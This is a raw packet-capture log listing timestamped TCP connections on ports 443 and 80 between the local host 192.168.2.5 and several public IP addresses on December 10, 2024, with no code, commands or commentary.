Dec 10, 2024 00:06:29.452290058 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.452301979 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.673199892 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.690419912 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.690445900 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.691571951 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.691631079 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.692740917 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.692807913 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.693054914 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.693062067 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.743988037 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.810349941 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.810611010 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.810636997 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.811655998 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.811719894 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.812239885 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.812304020 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.866178036 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:30.866190910 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:30.912976980 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.514734983 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.514831066 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.514864922 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.514872074 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.514895916 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.514933109 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.514934063 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.514947891 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.514986038 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.514991999 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.527050972 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.527091026 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.527096033 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.527106047 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.527143955 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.535413980 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.583131075 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.631947041 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.684771061 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.704446077 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.708298922 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.708343029 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.708349943 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.714565039 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.714608908 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.714736938 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.714749098 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.714912891 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.715872049 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:31.715888977 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:31.877620935 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:31.877650976 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:31.878056049 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:31.878056049 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:31.878086090 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:31.878772020 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:31.878804922 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:31.879070997 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:31.879070997 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:31.879101992 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:31.922786951 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:31.922816992 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:31.923245907 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:31.923775911 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:31.923788071 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:32.236376047 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:32.236442089 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:32.236510038 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:32.574501038 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:32.574543953 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:33.135824919 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.137934923 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.154175043 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.154206038 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.154366970 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.154391050 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.155298948 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.155350924 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.155505896 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.155570030 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.160281897 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.160409927 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.180008888 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.180135012 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.180135965 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.180164099 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.180253029 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.180269003 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.189517975 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.189980030 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.189994097 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.190897942 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.190984964 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.194622040 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.194727898 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.194996119 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.195004940 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.224592924 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.224594116 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.239609957 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.292480946 CET	80	49717	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:33.292551041 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:33.624989033 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.625053883 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.625102997 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.625107050 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.625135899 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.625217915 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.625225067 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.634583950 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.634630919 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.634638071 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.642868996 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.642923117 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.642930031 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.642973900 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.642981052 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.643009901 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.643615961 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.643641949 CET	443	49727	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.643655062 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.643855095 CET	49727	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.645688057 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:33.645961046 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.645993948 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.646183968 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.646384954 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:33.646398067 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:33.651427984 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.651616096 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.651623011 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.697319031 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.699965000 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.700016022 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.700082064 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.700122118 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.700135946 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.700150013 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.700247049 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.708162069 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.716598988 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.716634989 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.716665030 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.716672897 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.716731071 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.724929094 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.744389057 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.765059948 CET	80	49717	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:33.775136948 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.790271997 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.790280104 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.837215900 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.857490063 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.857503891 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.857534885 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.857539892 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.857561111 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.857562065 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.857573032 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.857584000 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.857592106 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.857599974 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.857618093 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.857633114 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.863658905 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.891757011 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.891824007 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.891834021 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.895837069 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.895889997 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.895910025 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.905287027 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.905296087 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.905348063 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.905359983 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.905373096 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.905380964 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:33.905409098 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.905426025 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:33.907326937 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.907366991 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.907382011 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.907402039 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.907469988 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.915819883 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.924123049 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.924343109 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.924350977 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.932598114 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.932656050 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.932662964 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.940785885 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.940869093 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.940876961 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.957406044 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.957464933 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.957473040 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.965835094 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.965892076 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.965899944 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.974127054 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.974169970 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.974221945 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.974232912 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.974467039 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.982995987 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.990818977 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:33.990883112 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:33.990890026 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:34.029433966 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.029458046 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.029506922 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.029516935 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.029563904 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.039458036 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:34.052824020 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.052843094 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.052892923 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.052902937 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.052942038 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.067894936 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.067964077 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.067971945 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.067985058 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.068038940 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.068418026 CET	49726	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.068429947 CET	443	49726	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.083605051 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:34.083731890 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:34.083781958 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:34.085922003 CET	49728	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:34.085949898 CET	443	49728	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:34.216919899 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.216942072 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.217034101 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.217241049 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:34.217250109 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:34.227665901 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:34.227710009 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:34.227772951 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:34.227956057 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:34.227972984 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:34.924695015 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:34.924940109 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:34.924964905 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:34.925259113 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:34.925539017 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:34.925602913 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:34.925699949 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:34.967330933 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.375971079 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.376074076 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.376102924 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.376128912 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.376152992 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.376179934 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.376209021 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.376421928 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.376432896 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.387192965 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.387295008 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.387322903 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.395937920 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.396001101 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.396020889 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.447273970 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.459914923 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:35.460208893 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:35.460232019 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:35.461308956 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:35.461378098 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:35.461781979 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:35.461844921 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:35.461951971 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:35.461957932 CET	443	49731	151.101.2.137	192.168.2.5
Dec 10, 2024 00:06:35.473743916 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.473963976 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.473989964 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.474967003 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.475071907 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.475759983 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.475759983 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.475816965 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.497426033 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.508440971 CET	49731	443	192.168.2.5	151.101.2.137
Dec 10, 2024 00:06:35.523633003 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.523642063 CET	443	49732	104.17.25.14	192.168.2.5
Dec 10, 2024 00:06:35.539001942 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.539028883 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.571190119 CET	49732	443	192.168.2.5	104.17.25.14
Dec 10, 2024 00:06:35.571501970 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.571611881 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.571638107 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.571659088 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.575408936 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.579121113 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.586743116 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.586863041 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.586885929 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.586908102 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.587054968 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.594364882 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.602184057 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.602260113 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.602284908 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.609817982 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.609883070 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.609901905 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.617381096 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.617482901 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.617501020 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.625022888 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.625087976 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.625108957 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.639126062 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.639205933 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.639228106 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.645662069 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.645719051 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.645739079 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.652192116 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.652267933 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.652290106 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.658719063 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.658803940 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.658821106 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.659105062 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.659343958 CET	49730	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.659360886 CET	443	49730	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.810559988 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:35.810612917 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:35.810775995 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:35.810995102 CET	49735	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:35.811009884 CET	443	49735	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:35.846770048 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.846822023 CET	443	49736	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:35.846892118 CET	49736	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:35.847090006 CET	49736	443	192.168.2.5	104.18.95.41
